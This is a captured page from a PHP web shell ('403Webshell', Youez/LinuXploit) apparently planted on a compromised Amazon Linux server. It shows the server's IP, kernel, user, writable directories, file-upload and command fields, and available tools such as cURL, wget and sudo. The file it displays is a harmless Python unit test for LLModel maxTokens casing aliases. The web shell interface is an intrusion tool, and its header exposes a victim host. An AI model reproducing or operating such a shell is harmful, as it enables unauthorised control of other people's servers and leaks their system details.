403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.88
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/api/tests/unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/api/tests/unit/test_llmodel.py
"""Tests for LLModel maxTokens casing aliases.

The Angular frontend sends `maxTokens` (camelCase) while stored character bodies
use snake_case `max_tokens`. LLModel must accept both on input and serialize as
camelCase so the frontend actually receives the value.
"""
from app.appTypes import LLModel, LLMProvider


def _base(**extra):
    return {"provider": "Claude", "name": "claude-sonnet-4-5-20250929", **extra}


def test_accepts_camelcase_max_tokens():
    model = LLModel(**_base(maxTokens=16384))
    assert model.max_tokens == 16384


def test_accepts_snakecase_max_tokens():
    model = LLModel(**_base(max_tokens=16384))
    assert model.max_tokens == 16384


def test_serializes_as_camelcase():
    model = LLModel(**_base(max_tokens=16384))
    dumped = model.model_dump(by_alias=True)
    assert dumped["maxTokens"] == 16384
    assert "max_tokens" not in dumped


def test_serializes_field_name_without_alias():
    # Storage path (drupal.py) uses model_dump_json without by_alias -> snake_case.
    model = LLModel(**_base(max_tokens=16384))
    assert model.model_dump()["max_tokens"] == 16384


def test_defaults_to_none():
    model = LLModel(**_base())
    assert model.max_tokens is None
    assert model.provider == LLMProvider.CLAUDE

Youez - 2016 - github.com/yon3zu
LinuXploit